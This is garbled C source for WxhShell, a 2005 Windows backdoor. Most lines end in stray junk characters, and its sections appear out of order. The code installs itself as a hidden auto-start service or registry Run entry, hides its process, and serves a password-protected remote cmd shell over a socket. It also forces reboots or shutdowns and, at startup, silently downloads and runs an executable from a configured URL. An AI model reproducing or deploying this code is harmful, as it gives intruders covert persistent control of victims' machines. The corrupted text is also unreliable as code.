    } jK{MU) D+  
  // 关机 pv T!6+  
  case 'd': { Qhr:d`@^]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zumRbrz  
    if(Boot(SHUTDOWN)) M3Z yf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6k[u0b`  
    else { /b*@dy  
    closesocket(wsh); {p-%\nOC  
    ExitThread(0); KpE#Ye&  
    } Y PM>FDxDB  
    break; TKE)NIa  
    } IV *}w"r  
  // 获取shell p+t8*lkq  
  case 's': { {T IGPK  
    CmdShell(wsh); i~2>kxf;K1  
    closesocket(wsh); t@Jo ?0s  
    ExitThread(0); f 6q@  
    break; \u*,~J)z  
  } !y),| #7P  
  // 退出 %:y-"m1\u$  
  case 'x': { YMWy5 \  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +)Ty^;+[1  
    CloseIt(wsh); YT_kMy>  
    break; &F:7U!  
    } f`cz @  
  // 离开 3.jwOFH$  
  case 'q': { LD NpEX~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OYKV*  
    closesocket(wsh); ]}B&-Yp  
    WSACleanup(); D(&OyZ~Q+  
    exit(1); j)uIe)wZw  
    break; l}wBthwCc  
        } e7;]+pN]J  
  } pZR^ HOq  
  } }'{(rU  
|QY+vO7fxj  
  // 提示信息 &M2x`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RBb@@k[v  
} sq^,l6es>  
  } A@#dv2JzP  
?G{fF H  
  return; b,'./{c0  
} Dn@ n:m  
U` U/|@6  
// shell模块句柄 QZ`<+"a0  
int CmdShell(SOCKET sock) N@VD-}E  
{ ZLV~It&)  
STARTUPINFO si; R|vF*0)>W  
ZeroMemory(&si,sizeof(si)); H(X~=r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vs"Z9p$U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T>z@;5C  
PROCESS_INFORMATION ProcessInfo; 936t6K&  
char cmdline[]="cmd"; gK>Vm9rO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /x-t -}  
  return 0; pif8/e  
} VjnSi  
iN><m|  
// 自身启动模式 #K[ @$BY:  
int StartFromService(void) qq/Cn4fN8  
{ 1Tl("XV3  
typedef struct MVCCh+,GI  
{ C+iP @~  
  DWORD ExitStatus; 4[#.N 3Y4*  
  DWORD PebBaseAddress; ,^[s4 =3X?  
  DWORD AffinityMask; Qw ^tzP8  
  DWORD BasePriority; SX4p(t  
  ULONG UniqueProcessId; k.0C*3'  
  ULONG InheritedFromUniqueProcessId; ( u _ sz  
}   PROCESS_BASIC_INFORMATION; )CB?gW  
zqeU>V~<F  
PROCNTQSIP NtQueryInformationProcess; 51&T`i  
f8j^a?d|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Glwpu-@X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {Xp.}c  
?-VN+ d7  
  HANDLE             hProcess; &a:aW;^A7  
  PROCESS_BASIC_INFORMATION pbi; N+tS:$V  
{/Cd^CK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~)Z`Q  
  if(NULL == hInst ) return 0; g %Am[fb  
M}vPWWcl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4 A<c@g2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N.<hZ\].=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r~;N(CG  
Grqs*V &|g  
  if (!NtQueryInformationProcess) return 0; w"e2}iE7  
+!<`$+W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W) _B(;$]  
  if(!hProcess) return 0; k9,"`dk@  
Y}6)jzBV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aZ^lI 6@+4  
HT]ubw]rJ  
  CloseHandle(hProcess); k8ck#%#}Wu  
%(]rc%ry0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \Q$);:=q Q  
if(hProcess==NULL) return 0; V1fPH;  
0jmlsC>  
HMODULE hMod; cBA[D~s  
char procName[255]; Nt'5}  
unsigned long cbNeeded; zk]~cG5dT/  
j oG>=o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ..t=Y#  
Gl:AS PZ6  
  CloseHandle(hProcess); x:xQXjJ  
r3kI'I|bq  
if(strstr(procName,"services")) return 1; // 以服务启动 RoTT%c P_  
)t4C*+9<U  
  return 0; // 注册表启动 phdN9<Z  
} c1^3lgPv  
p c],H  
// 主模块 +D@R'$N  
int StartWxhshell(LPSTR lpCmdLine) ?,NAihN]  
{ " duJl-  
  SOCKET wsl; {x: IsQZ  
BOOL val=TRUE; x#^kv)  
  int port=0; r$7rYxFR  
  struct sockaddr_in door; P#xn!fMi  
B]vj1m`9  
  if(wscfg.ws_autoins) Install(); 6PH*]#PfoD  
j;3o9!.s:  
port=atoi(lpCmdLine); j7d;1 zB+G  
cG?266{g  
if(port<=0) port=wscfg.ws_port; B_S3}g<~  
V*aTDU%-.  
  WSADATA data; !8g y)2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NO$Nl/XM  
#q- _  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UXP;'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2KEww3.{  
  door.sin_family = AF_INET; - \QtE}|4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OK 6}9Eu9  
  door.sin_port = htons(port); pr"flRQr#  
0TpA3K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8`2K=`]ES+  
closesocket(wsl); F\I^d]#,[  
return 1; CmTJa5:  
} m+g>s&1H  
epF>z   
  if(listen(wsl,2) == INVALID_SOCKET) { d1-p];&  
closesocket(wsl); 93\,m+-  
return 1; UU/|s>F  
} ,3j7Y5v  
  Wxhshell(wsl); BP6Shc|C  
  WSACleanup(); wOOPWwk  
|>4{4  
return 0; =m:W  
7r>W r#  
} DFonK{  
Z ux2VepT  
// 以NT服务方式启动 U~m.I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zMKL: Um"  
{ (a?Ip)`I  
DWORD   status = 0; St`m52V(5X  
  DWORD   specificError = 0xfffffff; E`|qFG<  
r . ^&%D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A3_9MO   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e?>suIB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R 6Em^A/>  
  serviceStatus.dwWin32ExitCode     = 0; fm0 (  
  serviceStatus.dwServiceSpecificExitCode = 0; Xhi?b|  
  serviceStatus.dwCheckPoint       = 0; ks D1NB;9  
  serviceStatus.dwWaitHint       = 0; gL`SZr9  
0^[6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #pfosC[  
  if (hServiceStatusHandle==0) return; JyO lVs<T  
7%"7Rb^@  
status = GetLastError(); sXxO{aeev  
  if (status!=NO_ERROR) 3:Wr)>l}#  
{ gwJu&HA/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I>a a'em  
    serviceStatus.dwCheckPoint       = 0; Y>~JI;Cu`  
    serviceStatus.dwWaitHint       = 0; CCOg1X_  
    serviceStatus.dwWin32ExitCode     = status; SO/]d70HG  
    serviceStatus.dwServiceSpecificExitCode = specificError; $nn5;11@gY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IJ; *N  
    return; =Qrz|$_rv  
  } x(=x;X$[^  
cmI#R1\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ub5hX{uT  
  serviceStatus.dwCheckPoint       = 0; Vm.@qO*=  
  serviceStatus.dwWaitHint       = 0; Y=Qf!Cq]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W<"\hQI  
} =L%3q<]p  
[<QWTMjR  
// 处理NT服务事件,比如:启动、停止 'Aj>+H<B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 99K+7G\{  
{ wjOAgOC  
switch(fdwControl) S!_?# ^t  
{ ]?{lQ0vw'w  
case SERVICE_CONTROL_STOP: AHJ;>"]  
  serviceStatus.dwWin32ExitCode = 0; /&7Yi_]r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #LJ-IDuF!  
  serviceStatus.dwCheckPoint   = 0; 'OCo1|iK~  
  serviceStatus.dwWaitHint     = 0; ->=++  
  { J-F_XKqH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kB#vh  
  } bl_WN|SQ  
  return; ^ {f ^WL=  
case SERVICE_CONTROL_PAUSE: VhgEG(Ud  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WmUW i{  
  break; A#&qoZ(C  
case SERVICE_CONTROL_CONTINUE: Ir #V2]$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zD<9A6AB  
  break; `g N68:B  
case SERVICE_CONTROL_INTERROGATE: N1~$ +  
  break; -FV'%X$i  
}; _`>7 Q) ,7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rJp6d :M  
} ]bb}[#AY  
C} _:K)5q  
// 标准应用程序主函数 Y{RB\}f(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MXk. 2  
{ y$o=\:  
pVS2dwBqE  
// 获取操作系统版本 "B3:m-'  
OsIsNt=GetOsVer(); )OC[;>F7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3z92Gy5cr  
% T\N@  
  // 从命令行安装 H^;S}<pxW  
  if(strpbrk(lpCmdLine,"iI")) Install(); U^BXCu1km  
2_n*u^X:_  
  // 下载执行文件 3Lki7QW`  
if(wscfg.ws_downexe) { ok%!o+nk.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;<@6f@  
  WinExec(wscfg.ws_filenam,SW_HIDE); rq["O/2  
} lFGxW 5  
{))S<_ yN  
if(!OsIsNt) { OG7v'vmY  
// 如果时win9x,隐藏进程并且设置为注册表启动 w*%$ lhp!  
HideProc(); zB" `i  
StartWxhshell(lpCmdLine); EZQ+HECpK  
} ~PW}sN6ppG  
else hRIS [#z;U  
  if(StartFromService()) <<5 :zlb  
  // 以服务方式启动 |!5T+H{Sj  
  StartServiceCtrlDispatcher(DispatchTable); 9w;J7jgOT!  
else #aY<J:Nx  
  // 普通方式启动 1[g!^5W  
  StartWxhshell(lpCmdLine); Fi% W\Y'  
gzCMJ<3!D  
return 0; I S8nvx\  
} u;ooDIq@  
Bye@5D  
=z1o}ga=EA  
m$mY<Q  
=========================================== k5QD5/Ej  
m:f ouMS  
124L3AG  
ivz9R'  
{-N90Oe  
<`j[;>O  
" 2vdQ&H4  
_% 9+U [@  
#include <stdio.h> )  v5n "W  
#include <string.h> 7h9[-d6  
#include <windows.h> R|J>8AL}BY  
#include <winsock2.h> [S&O-b8A  
#include <winsvc.h> fwv T2G4  
#include <urlmon.h> <&s)k  
_q$LrAT  
#pragma comment (lib, "Ws2_32.lib") ca3BJWY}J  
#pragma comment (lib, "urlmon.lib") dF11Rj,~ 8  
^x"c0R^  
#define MAX_USER   100 // 最大客户端连接数 <ivqe"m  
#define BUF_SOCK   200 // sock buffer p/WH#4Xdr  
#define KEY_BUFF   255 // 输入 buffer &Dg)"Xji  
u4,X.3V]A  
#define REBOOT     0   // 重启 b}&7~4zw  
#define SHUTDOWN   1   // 关机 +}XL>=-5  
ciGpluQF  
#define DEF_PORT   5000 // 监听端口 tZu*Asx7  
`Ivw`}L  
#define REG_LEN     16   // 注册表键长度 Z++Z@J"  
#define SVC_LEN     80   // NT服务名长度 5*wApu{2A  
?WQd  
// 从dll定义API 'Rkvsch  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r;on0wm&B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .1}rzh}8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )Z8"uRTb0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {I9 N6BQ&  
7hF,gl5  
// wxhshell配置信息 akvwApn5  
struct WSCFG { W^d4/]  
  int ws_port;         // 监听端口 B#k3"vk#  
  char ws_passstr[REG_LEN]; // 口令 g\\1C2jG  
  int ws_autoins;       // 安装标记, 1=yes 0=no HEB/\  
  char ws_regname[REG_LEN]; // 注册表键名 mB^I @oZ*  
  char ws_svcname[REG_LEN]; // 服务名 %V<F<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WW [`E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /x:(SR2,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e8ULf~I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L>~@9a\jO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4&oXy,8LC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,+ \4 '`  
vJj:9KcP>h  
}; b y|?g8  
9 yW ~79n  
// default Wxhshell configuration p17|ld`  
struct WSCFG wscfg={DEF_PORT, tf7v5iGe  
    "xuhuanlingzhe", <5ft6a2fQ  
    1, %eJ\d?nw  
    "Wxhshell", 3r-VxP 5n  
    "Wxhshell", }} ``~  
            "WxhShell Service", PJK]t7vp  
    "Wrsky Windows CmdShell Service", fY%M=,t3c  
    "Please Input Your Password: ", jW1YTQ  
  1, wj#J>C2]  
  "http://www.wrsky.com/wxhshell.exe", .YjrV+om1  
  "Wxhshell.exe" i{|lsd(+  
    }; BbXU| QtY  
| z#m  
// 消息定义模块 Iu-'o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;h,R?mU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;-9zMbte :  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uP(B<NfL:'  
char *msg_ws_ext="\n\rExit."; zr3q>]oma  
char *msg_ws_end="\n\rQuit."; cZaF f?]k  
char *msg_ws_boot="\n\rReboot..."; A{4G@k+#d  
char *msg_ws_poff="\n\rShutdown..."; S_|9j{w)  
char *msg_ws_down="\n\rSave to "; z)&naw.  
4/HY[FT  
char *msg_ws_err="\n\rErr!"; D%;wVnU w  
char *msg_ws_ok="\n\rOK!"; % UW=:  
@~$F;M=.*  
char ExeFile[MAX_PATH]; c_ qcb7<~.  
int nUser = 0; - - i&"  
HANDLE handles[MAX_USER]; \'; t*  
int OsIsNt; VBbUl|X\  
%="~\1y  
SERVICE_STATUS       serviceStatus; 5Cc6 , ]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e0v9uQ%F5  
dysX  
// 函数声明 DOF?(:8Y  
int Install(void); %z-dM` i  
int Uninstall(void); f[JI/H>  
int DownloadFile(char *sURL, SOCKET wsh); d s|8lz,  
int Boot(int flag); ?jNF6z*M6  
void HideProc(void); w69>tC  
int GetOsVer(void); wGOMUWAt  
int Wxhshell(SOCKET wsl); FG>;P]mvp  
void TalkWithClient(void *cs); 8^<c,!DM  
int CmdShell(SOCKET sock); q)K-vt)98  
int StartFromService(void); OH$ F >wO  
int StartWxhshell(LPSTR lpCmdLine); eW%L$I  
%;pD8WgJA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r~Y>+ln.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [^?13xMb  
UOR _M5  
// 数据结构和表定义 !y>lOw})Q  
SERVICE_TABLE_ENTRY DispatchTable[] = A$9q!Ui#d  
{ |u^)RB  
{wscfg.ws_svcname, NTServiceMain}, 0(Y%,q  
{NULL, NULL} wUru1_zjO  
}; Ud>`@2  
!sg%6H?}  
// 自我安装 HCX!P4Hj  
int Install(void) j}|N^A_ S  
{ `"xk,fVYd  
  char svExeFile[MAX_PATH]; xZ^ywa_  
  HKEY key; 5 1o@b  
  strcpy(svExeFile,ExeFile); \g~ws9'~  
_L*f8e8  
// 如果是win9x系统,修改注册表设为自启动 #joF{ M{  
if(!OsIsNt) { 2UU 2Vm_6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Fk4{p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C+/Eqq^(  
  RegCloseKey(key); NniX/fk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a);O3N/*I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { A:LAAf[6  
  RegCloseKey(key); Q?* nuE  
  return 0; 5h|'DO x|o  
    } ,3VG.u;U   
  } %$/=4f.j  
} D-Bv(/Pz]$  
else { 51&|t#8h  
vn|TiZ  
// 如果是NT以上系统,安装为系统服务 ,(j>)g2Ob  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3xBN10R#  
if (schSCManager!=0) i'Y-V]->  
{ <8iYL`3  
  SC_HANDLE schService = CreateService g/OI|1a  
  ( NlA*\vco  
  schSCManager, Z -pyFK\  
  wscfg.ws_svcname, Qe2m8  
  wscfg.ws_svcdisp, tegOT]|  
  SERVICE_ALL_ACCESS, c*.G]nRc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D",A$(lG  
  SERVICE_AUTO_START, xM%H~(  
  SERVICE_ERROR_NORMAL, hX0RET  
  svExeFile, G+ :bL S#:  
  NULL, 2#'rk'X,K  
  NULL, | d~B]65t  
  NULL, d>YmKTk"  
  NULL, G{ F6  
  NULL !c\7  
  ); X"kXNKV/n  
  if (schService!=0) >ysriPnQ  
  { .KFA218h*x  
  CloseServiceHandle(schService); l!\1,J:}Z  
  CloseServiceHandle(schSCManager); IKvd!,0xf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k |^vCZ<(x  
  strcat(svExeFile,wscfg.ws_svcname); ,`D/sNP ,q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ov1Wr#s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); La\Q'0  
  RegCloseKey(key); /r>IV`n{  
  return 0; e-~hS6p(  
    } lxm*;?j`W  
  } "=9-i-K9B  
  CloseServiceHandle(schSCManager); .JNcY]V#  
} 0o;k?4aP.c  
} ]9fS@SHdx  
F\;2 i:(  
return 1; ]AFj&CteZ/  
} l &}piC  
~GSpl24W<  
// 自我卸载 /CIx$G  
int Uninstall(void) SrSG{/{  
{ y= 2=DU  
  HKEY key; 5 RW@_%C  
s5Pq$<  
if(!OsIsNt) { b([:,T7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y^9bfMA  
  RegDeleteValue(key,wscfg.ws_regname); I9;xzES  
  RegCloseKey(key); >g=^,G}y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TKK,Y{{  
  RegDeleteValue(key,wscfg.ws_regname); JK[T]|G  
  RegCloseKey(key); F@g17aa  
  return 0; $?-7OXj<  
  } a-fv[oB  
} vxb@9 eb!H  
} `a-Bji?  
else { u',b1 3g(  
WmNA5;<Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [U swf3  
if (schSCManager!=0) S[Vtq^lU  
{ |0lLl^zp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kPWBDpzN  
  if (schService!=0) :RHm*vt  
  { p*Xix%#6  
  if(DeleteService(schService)!=0) { K6-6{vt  
  CloseServiceHandle(schService); FzVZs# O  
  CloseServiceHandle(schSCManager); lBS"3s384  
  return 0; g#w`J \iz  
  } s} s|~  
  CloseServiceHandle(schService); k<!<<,Z  
  } (9E( Q*J5x  
  CloseServiceHandle(schSCManager); / HL_$g<  
} nMkOUW:T!  
} { yTpRQN~  
]{<saAmJC  
return 1; TopHE  
} w"1 x=+  
7aV$YuL)X~  
// 从指定url下载文件 $_wo6/J5+D  
int DownloadFile(char *sURL, SOCKET wsh) {aoM JJq  
{ -U7,k\g  
  HRESULT hr; k; ;viT  
char seps[]= "/"; fSbS(a  
char *token; '(tj[&aL  
char *file; @`6}`k  
char myURL[MAX_PATH]; X6'H`E[  
char myFILE[MAX_PATH]; jKS!'?  
QPX`l0V  
strcpy(myURL,sURL); Z4#v~!  
  token=strtok(myURL,seps); oooS s&t  
  while(token!=NULL) },&h[\N{6  
  { 9976H\{  
    file=token; .8K6C]gw  
  token=strtok(NULL,seps); =x1Wii$`  
  } #,TELzUVE  
-;vT<G3  
GetCurrentDirectory(MAX_PATH,myFILE); ) y`i@S}J  
strcat(myFILE, "\\"); Yc|uD-y  
strcat(myFILE, file); 7_KXD#  
  send(wsh,myFILE,strlen(myFILE),0); *U_S1>0n  
send(wsh,"...",3,0); =PZWS& (L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pcnl0o~  
  if(hr==S_OK) {tc57jsr  
return 0; 0Q`&inwh  
else PYu$1o9+N  
return 1; a_MFQf&KV  
Ia#"/`||  
} <*_o0;h|  
d+0^u(gc!8  
// 系统电源模块 nZxSMN0]  
int Boot(int flag) &8n?  
{ ?~Pv3'%d  
  HANDLE hToken; Y([d;_#P  
  TOKEN_PRIVILEGES tkp; -R:X<eb  
"b`7[;a  
  if(OsIsNt) { Y[@0qc3UO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jQ|:I7y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e?P%wqB  
    tkp.PrivilegeCount = 1; }3J=DCtS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eIJ[0c b}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |kc@L`7s  
if(flag==REBOOT) { Y.NE^Vn0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6A?8tm/0  
  return 0; $it@>L8  
} !9D1 Fa  
else { p31oL{D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WFem#hq   
  return 0; 7E\g &R.  
} O@wK[(w^  
  } \2>3Opt  
  else { kM;o0wi  
if(flag==REBOOT) { ('JKN"3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xp^ 7#`MJ?  
  return 0; e1UITjy  
} f3 vF"O  
else { BPewc9RxV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P$OUi!"  
  return 0; xCq'[9oU  
} tDt :^Bc  
} <h@]Ri  
^Q\XGl  
return 1; G,|KL" H6  
} CdL.?^  
ot }6D  
// win9x进程隐藏模块 c]NN'9G!{  
void HideProc(void) 3ev -Iqz  
{ Kp&3=e;vn{  
0sh~I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )NIv  "Q  
  if ( hKernel != NULL ) iD714+N(  
  { ]-bQNYKX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (;ADW+.`J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M)O [j}N  
    FreeLibrary(hKernel); 6.19g'{sB  
  } 1qZG`Vz  
NO4Z"3Pd_  
return; S/7l/DFb  
} pV=@sz,G  
GW/WUzK  
// 获取操作系统版本 RX>2~^  
int GetOsVer(void) *)D1!R<\,R  
{ ?4[NNL  
  OSVERSIONINFO winfo; RB;BQoGX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \=fh-c(J,  
  GetVersionEx(&winfo); q:]Q% IC^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OaaH$B  
  return 1; D5L{T+}Oi%  
  else i*CnoQH  
  return 0; 5\'AD^{  
} d.AC%&W  
 :,~K]G  
// 客户端句柄模块 E}YI WTX  
int Wxhshell(SOCKET wsl) 9!#EwPD$#  
{ gr+Pl>C{  
  SOCKET wsh; M*`hDdS  
  struct sockaddr_in client; 6 64q~_@B1  
  DWORD myID; 7n&yv9"  
F0.zi>5  
  while(nUser<MAX_USER) 2*'ciH37  
{ ]0-<>  
  int nSize=sizeof(client); 4Jykos2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QNg\4%  
  if(wsh==INVALID_SOCKET) return 1; FmD +8=  
VB"(9O]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5v|EAjB6o  
if(handles[nUser]==0) = F<:}Tx)C  
  closesocket(wsh); taDQ65  
else gDC2 >nV  
  nUser++; L!y"d!6C  
  } GTAf   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (a#pvEY  
0Oap39  
  return 0; 6t m \L  
} -Qb0:]sV#  
=/}X$,@2  
// 关闭 socket 5@f5S0 Y  
void CloseIt(SOCKET wsh) &<0ZUI |S3  
{ T 6HU*(  
closesocket(wsh); WcEt%mGQ,  
nUser--; Nfb`YU=  
ExitThread(0); X-/Ban  
} bVK$.*,  
 }_%P6  
// 客户端请求句柄 {y-`QS  
void TalkWithClient(void *cs) %l|\of7P2}  
{ xS+rHC  
G~!C =l  
  SOCKET wsh=(SOCKET)cs; (B}+h   
  char pwd[SVC_LEN]; 9g]M4*?C9P  
  char cmd[KEY_BUFF]; 1<,/ -H  
char chr[1]; lT,+bU  
int i,j; >r}Vf9 5[N  
]sL45k2W  
  while (nUser < MAX_USER) { dG0VBE  
KB[QZ`"%!  
if(wscfg.ws_passstr) { e U;jP]FA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XwPx9+b6j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  hY=I5[*  
  //ZeroMemory(pwd,KEY_BUFF); (>AFyh&3,X  
      i=0; Dbz]{_Y;  
  while(i<SVC_LEN) { 0roCP=;  
QO,+ps<  
  // 设置超时 Ac\W\=QvB  
  fd_set FdRead; <|H ?gfM  
  struct timeval TimeOut; m UgRm]  
  FD_ZERO(&FdRead); XTo8,'UaP  
  FD_SET(wsh,&FdRead); E {>`MNj  
  TimeOut.tv_sec=8; *U_oao  
  TimeOut.tv_usec=0; E474l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ( 3;`bvYH"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P']Y( !L  
*rf$>8~$n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aR)?a;}H  
  pwd=chr[0]; JXm?2 /  
  if(chr[0]==0xd || chr[0]==0xa) { ny1 \4C  
  pwd=0; fA^SD"xf  
  break; )`Ed_F}k  
  } p+<}Y DMb  
  i++; K\^&+7&zVg  
    } t.U{Bu P  
Pz`hX$  
  // 如果是非法用户,关闭 socket \]8i}E1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #U@| J}a  
} t?3BCm$Mi  
?D=8{!R3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gp/YjUH7k8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n(R_#,Hs  
sFElD ]|  
while(1) { m&Sp1=*Ejy  
@q)E=G1<o0  
  ZeroMemory(cmd,KEY_BUFF); JIV8q HC  
XKSX#cia  
      // 自动支持客户端 telnet标准   q%S8\bt  
  j=0; !<r8~A3!(  
  while(j<KEY_BUFF) { [H^ X"D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _}ele+  
  cmd[j]=chr[0]; {D,RU8&  
  if(chr[0]==0xa || chr[0]==0xd) { l%<c6;  
  cmd[j]=0; 6LM9e0oxy  
  break; 9v~5qv;  
  } 8 u:2,l  
  j++; 61:9(*4~!F  
    } %nQmFIt  
%3G;r\|r]  
  // 下载文件 P) 1 EA;  
  if(strstr(cmd,"http://")) { sX'nn   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *#h;c1aP  
  if(DownloadFile(cmd,wsh)) 3 Gd|YRtk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (\& 62B1  
